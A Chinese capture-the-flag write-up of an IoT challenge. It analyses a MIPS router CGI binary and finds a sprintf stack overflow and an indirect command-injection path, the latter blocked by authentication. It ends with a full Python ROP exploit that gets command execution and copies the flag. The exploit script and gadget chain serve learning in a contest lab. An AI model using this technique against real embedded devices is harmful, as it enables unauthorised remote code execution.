第八届西湖论剑初赛IOT-linkon的wp

前言

很久没发过 CTF 的 writeup 了,水一篇 CTF-IOT 的。前几天被学弟喊着看了一道西湖论剑的 IOT 题目,做题的时候忘记看 ASLR 等级了。因此被一个虚假的地址随机化困扰了许久……没有地址随机化之后果然通畅多了🫡。

热身运动

题目给了虚拟机镜像和启动脚本,但为了后续远程调试,再修改一下启动脚本(加一个端口映射hostfwd=tcp::9999-:9999)。

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"  -net user,hostfwd=tcp::80-:80,hostfwd=tcp::2222-:22,hostfwd=tcp::9999-:9999 -net nic -nographic

如果报错 qemu-system-mipsel: -net user,hostfwd=tcp::80-:80,hostfwd=tcp::2222-:22,hostfwd=tcp::9999-:9999: network backend 'user' is not compiled into this binary 表示不支持 user 网络后端。需要重新编译安装 QEMU

系统正常启动后,用户名和密码输入 root 登录。

这个时候在浏览器访问宿主机的 IP 应该会出现以下界面,表示赛题正常启动。

image-20250123164724316

随便输入一个密码登录,抓一个包发现请求的是 /cgi-bin/login.cgi

image-20250123164857957

find ./ -name "*.cgi" 定位一下 login.cgi 的位置。

image-20250123165045014

发现 login.cgimips32 小端序,并且保护全关。

image-20250123165228148

开始分析

接下来就是去分析几个 cgi 文件,漏洞其实比较明显就位于 login.cgi文件。web_get 函数用来解析数据包中的字段,比如在 main 函数中有代码 v36 = (const char *)web_get("page", v3, 0);,那么 page 字段的值就会被解析到 v36 变量中。当 page 字段为 Goto_chidx 时,那么就通过函数指针调用了 Goto_chidx 函数。

image-20250123165926420

Goto_chidx 函数中的漏洞很明显,从 wlanUrl 中解析的字段没有经过校验就用 sprintf 函数拼接,从而导致了栈溢出。

image-20250123170101040

这里的漏洞验证也非常简单,当 wlanUrl 字段的字符串比较短时,响应数据包的状态码是 302

image-20250123170328905

然后把 wlanUrl 字段的字符串写长一些,就返回了 500 表示服务器内部出现错误。

image-20250123170443076

其实定位到漏洞这里用的时间还是很短的,但是因为 sprintf 函数造成的栈溢出会存在 \x00 截断问题导致不能利用 cgi 本身的程序地址进行 ROP。由于我一直没有意识到 ASLR0(下意识以为 ASLR 开的是 2,忘记看 /proc/sys/kernel/randomize_va_space 的值了 ORZ),如果把这道题当做 ASLR2 ,在 libc 地址未知的情况下,似乎也没什么办法稳定的 RCE

间接命令注入?

于是乎我的思路彻底跑偏,我又去分析了其他函数以及其他文件。在比赛的时候,我发现似乎还有一个间接的命令注入漏洞,就位于 sys_login 函数。虽然 sys_login 函数中对于可能存在命令注入的地方很谨慎,都进行了过滤。但仍然存在下面的代码,从 nvram 中读取的 Password 字段直接拼接到了 v91,经过 sprintf 拼接后给到 popen 执行。

v115 = (char *)nvram_bufget(0, "Password");
......
strcpy((char *)v91, src);
strcat((char *)v91, v115);
......
sprintf(v93, "echo -n '%s' | md5sum", (const char *)v91);
v68 = popen(v93, "r");

我又找了一下可以设置 nvramPassword 的代码。当 page 字段为 sysinit 时,可以调用 set_sys_init 函数,代码如下。

v5 = (const char *)web_get("newpass", a1, 0);
v45 = strdup(v5);
......
nvram_bufset(0, "Password", v45);

如果这看上面这部分,似乎逻辑也是通顺的,间接控制 nvram 中的 Password 字段进行命令执行。在比赛期间这个地方和溢出漏洞我都看到了,但意味是存在 so 库地址随机化,想着命令注入肯定比溢出漏洞利用稳定,因此我的精力都放在了前者上面😅。

间接命令注入失败的原因是在 set_sys_init 调用 check_valid_user 函数判断了返回值 。check_valid_user 定义在 libwebutil.so 库中,具体逻辑没有仔细看了,但肯定是检查鉴权身份的。不过由于没办法登录路由器(这个 nvram 在系统环境里没有),因此也不存在登录获取凭证了。后面再拐过头看溢出漏洞的时候,其实已经没多少时间了,因为一直没有注意到 ASLR0,所以比赛结束也没做出来。等到官方 WP 出来,看完才发现 ASLR0😭。

溢出漏洞利用

ASLR0 代表所有地址都是固定的,因此栈地址和 libc 地址随便用,这些地址都是四个字节不会出现 \x00 截断的问题。在 Goto_chidx 函数返回时,可以控制这些寄存器。

image-20250123175903992

libwebutil.so 库中找一下 system 函数,交叉引用后有两处。发现 system 的参数 $a0 寄存器都来自 bss 段,这样参数不太好控制。

image-20250123180128251

所以又看了一下 do_system 函数,发现这个参数 $a0 是由 $s0 寄存器赋值的,而 $s0 寄存器在 Goto_chidx 函数返回的时候就可控了。因此直接跳转到这里就可以,但因为借助 $gp 寄存器最多访问 ±32KB 的数据,之前执行流在 login.cgi$gp 寄存器值会比较小。如果直接将执行流跳转到 libwebutil.so 的代码段,那么会因为 $gp 寄存器异常,从而无法调用里面的任何函数。

image-20250123180258428

所以还需要再找一段 gadget 来恢复 $gp 寄存器(写完之后,才发现在地址 0x7970 就可以顺带修复 $gp了),我找的片段如下。

.fini:0000A554                 lw      $gp, 16($sp)
.fini:0000A558 nop
.fini:0000A55C lw $ra, 28($sp)
.fini:0000A560 jr $ra

复原 $gp 寄存器就是找到要跳转的目标函数 do_system,查看起始汇编代码为 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0) 。按照这个计算方式得到要复原的 $gp,双击 _GLOBAL_OFFSET_TABLE_ 获取地址为 0x55560 。因此 $gplibc_base + _GLOBAL_OFFSET_TABLE_ + 0x7FF0 => 0x77e1e000+0x55560+0x7FF0 = 0x77e7b550

可以写出 payload,但发现打不通。这个时候需要对 cgi 进行调试,因为 cgi 进程是瞬时结束(从接收到数据包触发,不会有阻塞,瞬间运行结束),我选择的是 patch 程序打一个死循环。

cmd_addr_in_stack = 0x7fff6610 #这个栈地址需要调试获取
libc_base=0x77e1e000
payload = b"a"*0x80
payload += p32(cmd_addr_in_stack)# $s0
payload += b"a"*8
payload += p32(libc_base+0xa554)
payload += b"b"*16
payload += p32(0x77e7b550)# $gp
payload += b"c"*8
payload += p32(libc_base+0x7978)
payload += b"touch /zikh26;"

set_sys_init 函数开始时,随后找一个汇编指令,直接修改机器码。mips 里面死循环的机器码为 FF FF 00 10(想不起来的话,自己写个程序编译一下就能看到了)。

image-20250123192816826

改完的伪代码效果如下(记得保存~)。

image-20250123192838461

这个时候把原本的 login.cgi 给替换掉,发送数据包后,因为修改后的 login.cgi 会陷入死循环导致进程一直挂起。这个时候再传入一个 gdbserver ,附加进程调试。需要在 qemu 启动脚本添加一个 9999 的端口映射,否则无法远程调试。

image-20250123193428597

gdb-multiarch 连接上后,应该是一直阻塞到死循环了(如下)。

image-20250123193722188

执行一下 set *0x4039c0=0x8fbc0018 把原本修改的死循环机器码用 set 给复原,下面就可以正常调试了。

image-20250123193920680

现在是调试分析一下为什么上面的 payload 打不通,发现在地址 0x77e22c68 开始依次将 $a1 $a2 $a3 赋值到 $sp+0x2c 起始的位置,尴尬的是这个位置(0x7fff65e8+0x2c=0x7fff6614)指向存储执行命令的内存了,导致执行的命令被破坏。

image-20250123194343193

解决这个问题只需要将执行的命令往栈中高地址处布置即可,修改后的 payload 如下。

libc_base=0x77e1e000 
cmd_addr_in_stack = 0x7fff6610
payload = b"a"*0x80
payload += p32(cmd_addr_in_stack+0x20)# $s0
payload += b"a"*8
payload += p32(libc_base+0xa554)
payload += b"b"*16
payload += p32(0x77e7b550)# $gp
payload += b"c"*8
payload += p32(libc_base+0x7978)
payload += b"a"*0x20
payload += b"touch /zikh26;"

重新发送 payload ,发现文件成功创建,表示命令执行成功。

image-20250123195044007

因为题目提示说靶机不出网,所以执行的命令可以改成这个 cp /flag /etc_ro/lighttpd/www/flag.txt ,然后访问 /flag.txt 就可以直接看到 flag 了。

image-20250123201505855

login.cgi 文件的 main 函数还有一个坑,检查了数据包的长度。如果超过 0x1f3 字节,则会直接 return。因此无论是 rop 链子的长度,还是数据包中的 body 部分放了其他多余字段,都需要注意,避免过长导致触发不了功能。

  v8 = getenv("CONTENT_LENGTH");
v9 = strtol(v8, 0, 10);
v10 = v9 + 1;
if ( (unsigned int)(v9 - 1) >= 0x1F3 )
goto LABEL_3;
......
LABEL_3:
v5 = (const char *)nvram_bufget(0, "lan_ipaddr");
sprintf(v42, "http://%s/login.shtml?login=0", v5);
web_redirect_wholepage(v42);
return 0;

如果 CONTENT_LENGTH 超过 499 那么响应包如下。

image-20250123203154312

EXP

import requests
from pwn import *
url = "http://192.168.80.129/cgi-bin/login.cgi"
headers = {
"Host": "192.168.80.129",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://192.168.80.129/",
"Connection": "keep-alive"
}

libc_base=0x77e1e000 #/root/cpio-root/lib/libwebutil.so
cmd_addr_in_stack = 0x7fff6610
payload = b"a"*0x80
payload += p32(cmd_addr_in_stack+0x20)# $s0
payload += b"a"*8
payload += p32(libc_base+0xa554)
payload += b"b"*16
payload += p32(0x77e7b550)# $gp
payload += b"c"*8
payload += p32(libc_base+0x7978)
payload += b"a"*0x20
payload += b"cp /flag /etc_ro/lighttpd/www/flag.txt;"

# .fini:0000A554 lw $gp, 16($sp)
# .fini:0000A558 nop
# .fini:0000A55C lw $ra, 28($sp)
# .fini:0000A560 jr $ra

# $gp => libc_base + _GLOBAL_OFFSET_TABLE_ + 0x7FF0 => 0x77e1e000+0x55560+0x7FF0 = 0x77e7b550

# .text:00007978 la $t9, do_system
# .text:0000797C nop
# .text:00007980 jalr $t9 ; do_system
# .text:00007984 move $a0, $s0


data = {
'page': 'Goto_chidx',
'wlanUrl': payload
}
response = requests.post(url, headers=headers, data=data)
print(response.text)

参考文章

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)